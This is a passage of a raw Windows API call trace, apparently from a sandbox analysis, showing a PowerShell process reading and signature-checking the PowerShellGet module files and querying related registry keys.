lpOverlapped=0x0 | out: lpBuffer=0x25c6c64*, lpNumberOfBytesRead=0x599e9fc*=0x1000, lpOverlapped=0x0) returned 1 [0170.654] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x599e9d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599e9d0*=0) returned 0x1000 [0170.654] ReadFile (in: hFile=0x404, lpBuffer=0x25c6c64, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599e9fc, lpOverlapped=0x0 | out: lpBuffer=0x25c6c64*, lpNumberOfBytesRead=0x599e9fc*=0xde, lpOverlapped=0x0) returned 1 [0170.654] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x599e9d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599e9d0*=0) returned 0x10de [0170.654] ReadFile (in: hFile=0x404, lpBuffer=0x25c6c64, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599e9fc, lpOverlapped=0x0 | out: lpBuffer=0x25c6c64*, lpNumberOfBytesRead=0x599e9fc*=0x0, lpOverlapped=0x0) returned 1 [0170.654] CloseHandle (hObject=0x404) returned 1 [0170.661] CoCreateGuid (in: pguid=0x599ea3c | out: pguid=0x599ea3c*(Data1=0x3707f36b, Data2=0xe269, Data3=0x4da4, Data4=([0]=0x9b, [1]=0x8c, [2]=0xea, [3]=0x63, [4]=0x86, [5]=0xe9, [6]=0xe0, [7]=0x4))) returned 0x0 [0170.673] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x404 [0170.674] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x408 [0170.674] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x40c [0170.674] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x410 [0170.674] SetEvent (hEvent=0x410) returned 1 [0170.674] SetEvent (hEvent=0x404) returned 1 [0170.674] SetEvent (hEvent=0x408) returned 1 [0170.675] SetEvent (hEvent=0x40c) returned 1 [0170.676] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x414 [0170.676] SetThreadUILanguage (LangId=0x0) returned 0x409 [0170.991] EtwEventActivityIdControl () returned 0x0 [0170.991] EtwEventActivityIdControl () returned 0x0 [0170.991] EtwEventActivityIdControl () returned 0x0 [0171.141] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1")) returned 0x20 [0171.155] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0171.155] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0171.155] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x599e374, Length=0x20, ResultLength=0x599e3e4 | out: SystemInformation=0x599e374, ResultLength=0x599e3e4*=0x0) returned 0xc0000003 [0171.155] GetSystemInfo (in: lpSystemInfo=0x599e3f0 | out: lpSystemInfo=0x599e3f0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0171.156] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x599e380 | out: phkResult=0x599e380*=0x418) returned 0x0 [0171.156] RegQueryValueExW (in: hKey=0x418, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x599e39c, lpData=0x0, lpcbData=0x599e398*=0x0 | out: lpType=0x599e39c*=0x0, lpData=0x0, lpcbData=0x599e398*=0x0) returned 0x2 [0171.157] RegCloseKey (hKey=0x418) returned 0x0 [0171.166] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0171.166] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0171.166] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e2f8) returned 1 [0171.166] CreateFileW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x418 [0171.166] GetFileType (hFile=0x418) returned 0x1 [0171.166] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e2f4) returned 1 [0171.166] GetFileType (hFile=0x418) returned 0x1 [0171.167] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x599e334*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599e334*=0) returned 0x0 [0171.167] ReadFile (in: hFile=0x418, lpBuffer=0x25ea27c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599e360, lpOverlapped=0x0 | out: lpBuffer=0x25ea27c*, lpNumberOfBytesRead=0x599e360*=0x1000, lpOverlapped=0x0) returned 1 [0171.168] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x599e334*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599e334*=0) returned 0x1000 [0171.168] ReadFile (in: hFile=0x418, lpBuffer=0x25ea27c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599e360, lpOverlapped=0x0 | out: lpBuffer=0x25ea27c*, lpNumberOfBytesRead=0x599e360*=0xde, lpOverlapped=0x0) returned 1 [0171.168] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x599e334*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599e334*=0) returned 0x10de [0171.168] ReadFile (in: hFile=0x418, lpBuffer=0x25ea27c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599e360, lpOverlapped=0x0 | out: lpBuffer=0x25ea27c*, lpNumberOfBytesRead=0x599e360*=0x0, lpOverlapped=0x0) returned 1 [0171.169] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x599e2c8, Length=0x20, ResultLength=0x599e338 | out: SystemInformation=0x599e2c8, ResultLength=0x599e338*=0x0) returned 0xc0000003 [0171.169] GetSystemInfo (in: lpSystemInfo=0x599e344 | out: lpSystemInfo=0x599e344*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0171.170] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x599e2d4 | out: phkResult=0x599e2d4*=0x41c) returned 0x0 [0171.170] RegQueryValueExW (in: hKey=0x41c, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x599e2f0, lpData=0x0, lpcbData=0x599e2ec*=0x0 | out: lpType=0x599e2f0*=0x0, lpData=0x0, lpcbData=0x599e2ec*=0x0) returned 0x2 [0171.170] RegCloseKey (hKey=0x41c) returned 0x0 [0171.170] CloseHandle (hObject=0x418) returned 1 [0171.173] CoCreateGuid (in: pguid=0x599e3c4 | out: pguid=0x599e3c4*(Data1=0x9ef7820c, Data2=0xde81, Data3=0x4ad1, Data4=([0]=0xb0, [1]=0x30, [2]=0x5, [3]=0x9d, [4]=0x41, [5]=0xce, [6]=0x76, [7]=0x75))) returned 0x0 [0171.245] QueryPerformanceCounter (in: lpPerformanceCount=0x599e124 | out: lpPerformanceCount=0x599e124*=1260226853694) returned 1 [0171.246] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0171.246] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0171.246] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599de10) returned 1 [0171.246] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x599e0d4 | out: lpFileInformation=0x599e0d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0171.246] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599de0c) returned 1 [0171.246] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0171.246] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0171.247] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0171.247] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0171.247] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599dda4) returned 1 [0171.247] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x599e068 | out: lpFileInformation=0x599e068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0171.247] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599dda0) returned 1 [0171.247] CoTaskMemAlloc (cb=0x10) returned 0x3f6098 [0171.247] CoTaskMemAlloc (cb=0x10) returned 0x3f60b0 [0171.247] CoTaskMemAlloc (cb=0xb4) returned 0x3bce20 [0171.247] CoTaskMemAlloc (cb=0x30) returned 0x3c63f0 [0171.247] WinVerifyTrust () returned 0x800b0100 [0171.410] CoTaskMemFree (pv=0x3f6098) [0171.410] CoTaskMemFree (pv=0x3c63f0) [0171.410] CryptCATHandleFromStore () returned 0x370d90 [0171.410] WTHelperGetProvSignerFromChain () returned 0x0 [0171.410] CoTaskMemAlloc (cb=0x10) returned 0x3f6098 [0171.411] CoTaskMemAlloc (cb=0x30) returned 0x3c63f0 [0171.411] WinVerifyTrust () returned 0x0 [0171.411] CoTaskMemFree (pv=0x3c63f0) [0171.411] CoTaskMemFree (pv=0x3f6098) [0171.411] CoTaskMemFree (pv=0x3bce20) [0171.411] CoTaskMemFree (pv=0x3f60b0) [0171.731] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\en-us\\powershellget.psd1")) returned 0xffffffff [0171.731] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\en\\powershellget.psd1")) returned 0xffffffff [0171.777] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0171.784] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0171.788] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0171.788] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0171.788] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x47 [0171.788] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1", nBufferLength=0x47, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1", lpFilePart=0x0) returned 0x46 [0172.040] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x599da60 | out: phkResult=0x599da60*=0x418) returned 0x0 [0172.040] RegQueryValueExW (in: hKey=0x418, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x599da80, lpData=0x0, lpcbData=0x599da7c*=0x0 | out: lpType=0x599da80*=0x1, lpData=0x0, lpcbData=0x599da7c*=0x56) returned 0x0 [0172.041] RegQueryValueExW (in: hKey=0x418, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x599da80, lpData=0x2615bac, lpcbData=0x599da7c*=0x56 | out: lpType=0x599da80*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x599da7c*=0x56) returned 0x0 [0172.041] RegCloseKey (hKey=0x418) returned 0x0 [0172.046] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Format.ps1xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.format.ps1xml")) returned 0x20 [0172.052] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Format.ps1xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.format.ps1xml")) returned 0x20 [0172.054] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Format.ps1xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.format.ps1xml")) returned 0x20 [0172.055] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x599da60 | out: phkResult=0x599da60*=0x418) returned 0x0 [0172.055] RegQueryValueExW (in: hKey=0x418, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x599da80, lpData=0x0, lpcbData=0x599da7c*=0x0 | out: lpType=0x599da80*=0x1, lpData=0x0, lpcbData=0x599da7c*=0x56) returned 0x0 [0172.055] RegQueryValueExW (in: hKey=0x418, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x599da80, lpData=0x262338c, lpcbData=0x599da7c*=0x56 | out: lpType=0x599da80*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x599da7c*=0x56) returned 0x0 [0172.055] RegCloseKey (hKey=0x418) returned 0x0 [0172.062] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0172.116] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0172.122] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Format.ps1xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.format.ps1xml")) returned 0x20 [0172.129] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Format.ps1xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.format.ps1xml")) returned 0x20 [0172.138] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Resource.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.resource.psd1")) returned 0x20 [0172.146] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Resource.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.resource.psd1")) returned 0x20 [0172.249] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGetModuleInfo.xml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5b [0172.249] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGetModuleInfo.xml", nBufferLength=0x5b, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGetModuleInfo.xml", lpFilePart=0x0) returned 0x5a [0172.249] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599d860) returned 1 [0172.249] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGetModuleInfo.xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psgetmoduleinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x599db24 | out: lpFileInformation=0x599db24*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0172.249] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599d85c) returned 1 [0172.251] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0172.554] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x55 [0172.554] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", nBufferLength=0x55, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", lpFilePart=0x0) returned 0x54 [0172.554] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599d388) returned 1 [0172.554] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1"), fInfoLevelId=0x0, lpFileInformation=0x26524f4 | out: lpFileInformation=0x26524f4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499c9860, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8caa9)) returned 1 [0172.554] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599d384) returned 1 [0172.555] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x55 [0172.555] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", nBufferLength=0x55, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", lpFilePart=0x0) returned 0x54 [0172.555] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599d52c) returned 1 [0172.555] CreateFileW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3e0 [0172.555] GetFileType (hFile=0x3e0) returned 0x1 [0172.555] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599d528) returned 1 [0172.556] GetFileType (hFile=0x3e0) returned 0x1 [0172.556] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x0 [0172.556] ReadFile (in: hFile=0x3e0, lpBuffer=0x26532f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x26532f8*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0172.557] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x1000 [0172.557] ReadFile (in: hFile=0x3e0, lpBuffer=0x26532f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x26532f8*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0172.558] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x2000 [0172.558] ReadFile (in: hFile=0x3e0, lpBuffer=0x26532f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x26532f8*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0172.559] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x3000 [0172.559] ReadFile (in: hFile=0x3e0, lpBuffer=0x26532f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x26532f8*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0172.560] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x4000 [0172.560] ReadFile (in: hFile=0x3e0, lpBuffer=0x26532f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x26532f8*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0172.560] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x5000 [0172.560] ReadFile (in: hFile=0x3e0, lpBuffer=0x26532f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x26532f8*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0172.562] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x6000 [0172.563] ReadFile (in: hFile=0x3e0, 